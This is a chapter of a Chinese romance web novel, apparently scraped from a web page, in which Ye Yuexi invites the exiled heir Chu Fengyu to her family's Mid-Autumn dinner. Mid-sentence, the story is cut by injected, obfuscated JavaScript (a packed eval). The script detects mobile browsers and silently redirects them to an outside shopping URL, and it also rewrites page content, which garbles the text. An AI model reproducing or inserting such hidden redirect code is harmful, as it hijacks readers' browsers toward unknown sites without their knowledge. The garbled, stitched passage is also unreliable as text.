临近中秋佳节，霁城四处都是人间烟火味。路边小二的揽客声空前高涨，月饼酥皮的香气沁满了整条街道，一旁靠着一门手艺为生的阿嬷近日生意也格外好。
孩童们手中提着一个花灯，在街边嬉笑、奔跑着。
叶月兮和叶秋序前来街上采买些东西。
叶秋序看着那群孩童手中的花灯，转身便是给叶月兮挑了一个，递到了她手中。
叶月兮看着手中兔子样的灯笼，却是有些失笑：“阿爹，我都多大了。”
叶秋序不赞同地道：“多大在阿爹这儿都是孩子。”言罢他却是凑近叶月兮耳畔，轻声问道：“我听船夫老李道，前些日子看见你与一男子去泛舟……这男子是谁啊？”
叶月兮：“……”尽管知道此事不可能瞒得过去，但是真从自己父亲口中得知，一时间还真有些难以解释。
见叶月兮不说话，叶秋序轻哼一声：“终究是女儿大了啊，都开始有事瞒着阿爹了。阿爹也不是反对你自己寻觅夫婿，但至少，得让我知晓对方是何许人也不是？”
“阿爹，不是我为自己寻的夫婿，我们只是……”叶月兮顷刻顿住了话语。主君和谋士的关系吗？如若真说了出来，必然是惹人忧心的。
叶秋序本就不太赞同叶月兮前往珲都寻仇，若是将楚风玉的身世说出来，恐是会引得叶秋序频频唉声叹气的。
“得了。你不说阿爹也不问了，但你将人带回了霁城，明日中秋，总归得将人带回来吃顿饭吧，不然我霁城待客之道都没了。”叶秋序絮絮叨叨嘱咐着。
叶月兮有些出神地想着。将人带回家吗？……
楚风玉所在的客栈，这几日都较为冷清。赶路人都忙着回家团圆过中秋了，剩下的便是他们这些难以归家的可怜人。
叶月兮带着自己的那盏兔子灯来寻楚风玉的时候，他正坐在窗框上，垂眸看着那迢迢江水。
听见声音，楚风玉回头，便看见少女一袭鹅黄衣衫，袖口绣着细密的缠枝纹，少了几分清冷，多了些江南水乡的柔婉。
那兔子灯摇摇晃晃地，漆黑圆润的眼睛一会转过来看着楚风玉，一会儿又背过身去，徒留那一段圆圆的尾巴。
楚风玉眉梢微挑：“怎么？柳公子给你买的？”
叶月兮低头看了一眼这着实有些憨厚的兔子灯，将它轻搁在桌上：“我阿爹买的。”
楚风玉从窗上下来，缓步走到桌前，给叶月兮倒了杯茶水，语气中颇有些埋怨：“你这都多少时日没来找我了？我还以为你将我忘了呢。将我一个人落在这客栈，连半夏都被你带回去了。”
叶月兮坐在桌前，本在思忖着如何开口邀楚风玉共度中秋，听见他这话却是将思绪打乱了。她有些不解地抬头看向了撑着桌子注视着自己的楚风玉。
叶月兮道：“距离我们上次相见，是在两日前，我们还一同泛了舟。不过两日未见，算不得我将世子晾了许久吧。”
“一日不见，如隔三秋。”楚风玉面不改色，依旧杵着桌子，微微倾身，目光在她面上停留，似乎在确认什么，“何况是整整两日。霁城风物怡人，柳二公子又殷勤，我自然担心叶姑娘乐不思蜀，忘了我这‘盟友’。”
这语气中酸意缓缓升起，饶是叶月兮再刻意忽略，如今都酸得令人有些于心不忍了。
楚风玉续道：“明日便是中秋佳节了，霁城越是热闹，反倒衬得我这儿越发冷清。”他垂下眸去，坐在了叶月兮对面，手杵着下巴，那闷闷不乐的神情简直是挂在了面上。
虽说叶月兮知晓楚风玉这是装的，但偏偏还真能如了楚风玉的意。
不过，她可不想楚风玉这般容易地得偿所愿。
叶月兮学着楚风玉的样子，以手支颌，面上还真是一副忧愁的模样：“是啊，那怎么办呢？”她状似思考，“或许，世子现在启程，就算中秋的时候到不了珲都，回头与王爷王妃商讨一番，补过一个如何？”
楚风玉：“……”他险些没维持住面上那可怜模样。
楚风玉轻轻叹了口气，眼尾微垂，日光照射过来，在他眸中映出那细碎的落寞：“叶姑娘这是赶我走？中秋佳节，霁城月圆人团圆，唯独我一个异乡客……”他顿了顿，指尖无意识地在杯沿划过，“连街旁的一条小狗，一只小猫都有家可归。”
他抬起眼，那点刻意装出的委屈中，当真还掺进了些真切来。窗外的喧嚣隔着江水传来，愈发显着这间临江的客栈寂静得有些空旷。
叶月兮心下一软，终究是没再逗他。她指尖轻轻点了点那桌上憨态可掬的兔子灯，有些不自然地邀约道：“我阿爹说……霁城有霁城的待客之道。”她抬起眼，目光清亮地看向楚风玉：“世子若是明日无事，可来家中吃顿便饭。”
楚风玉微微一怔，眼底的落寞犹如雾气遇阳一般顷刻散去，取而代之的是一抹惊讶，随即漾开浅淡的笑意：“……去你家？”他声音很轻，像是怕惊扰了什么一般，“叶伯父……会应允吗？”
叶月兮有些好笑地看着他。
先前还有意无意地装可怜，目的不就是去自家过中秋吗，如今相邀了他，他反倒是又拘谨了起来。
叶月兮笑道：“若是世子不愿的话，倒也不强求。”
“愿意啊！谁说我不愿意了？！”言罢，楚风玉似乎觉得有些失态，轻咳一声，“那我当以何身份去呢？”
叶月兮觉得有些奇怪，她看了楚风玉一眼，却撞入了他满怀期待的目光中，“……自然是友人的身份。”
“友人？”楚风玉重复了一遍，语调微微上扬，似乎在品味着这个称呼。他忽然倾身向前，距离拉进，压低的声音里带上了一丝若有若无的试探，“叶姑娘，你阿爹问起的时候，你也是这般说的？只是‘友人’？”
他靠得太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118956|193525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
近，自窗户那吹进来的江风裹挟着楚风玉身上的清冽气息朝着叶月兮而来。阳光如今正好偏向西侧，直直照入屋内，映得楚风玉连发丝上都镀了一层暖黄。
叶月兮稳住了心神，不退反进，也微微向前倾了倾，直视着他：“那世子觉得，我该如何说？”她眼中掠过一丝狡黠，“难道要说，我和珲都那位大名鼎鼎的连亲王世子结了盟，如今他便是我的盟友，要带着我蹚珲都那趟刀山火海？”
空气静了一瞬。
楚风玉蓦地低笑出声，向后靠回椅背，摇了摇头：“罢了，是我心急了。”他的目光落在了叶秋序买的那盏兔子灯上，“若当真这般说了，我这样的危险人物，恐是连家门都进不去。”
楚风玉的语气带着自嘲，不过眼底却并无阴霾，反而有光微微跃动。“友人便很好。”他的手指也学着叶月兮拂过了那兔子的耳朵，“只是初次登门，总不好空手而去。叶伯父喜欢什么？我明日带些。”
“阿爹不喜欢那些虚礼。”叶月兮道，见他如此郑重，反倒更觉好笑，“带张嘴来便可。倒是世子你，”她顿了顿，眼中那点狡黠重新浮现，“明日可需我提前告知阿爹，你口味如何？有无忌口？免得饭菜不合世子心意。”
“我岂是那般挑剔之人？”楚风玉失笑，旋即正色道：“叶姑娘家的饭菜，定然是极好的。只是……”他垂下眼眸来，望着杯中的茶水有些出神，“许久未参加过这般家宴，怕一时不慎，失了礼数，惹叶伯父不悦。”
算起来，楚风玉离开珲都已然三年，这三年期间，春节、中秋，这类寓为团圆的日子早已离他很远，从不敢奢望。这还是他这三年中，第一次过中秋。
他这话说得诚挚，不似作伪。
叶月兮也知他的情况，心中微动，她叹息一声：“世子无需太过谨慎。我阿爹并非什么严谨刻板之人，一切随心便可。你只当……回自家叔伯家吃顿便饭即可，无需拘谨。”
“自己叔伯家……”楚风玉低声重复，唇边的笑意更深了些，“好，那明日便叨扰了。”
既然阿爹嘱咐的事情办妥了，叶月兮也无意再逗留下去。
她拿起那兔子灯的提杆站起身来，“那便这般说定了，明日我来此接世子。”
“明日见。”楚风玉站在门边，目送她下楼。
日光将他的身影拉长，投在客栈老旧的木地板上。直到那抹鹅黄的衣角和那盏晃晃悠悠的兔子灯彻底消失在眼中，楚风玉才收回目光，转头看向窗外。
霁城的傍晚，霞光铺满江面，归舟点点，炊烟袅袅。空气中浮动的不仅是月饼的香甜，还有家家户户准备团圆饭的暖意。
这喧嚣温暖的尘世烟火，曾也是他最熟悉的景色，如今却已阔别多年。
他抬手，轻轻按在心口。那里，不再是一片冷硬的荒原，而是随着远处的欢笑声，一下一下，鲜活地跳动着。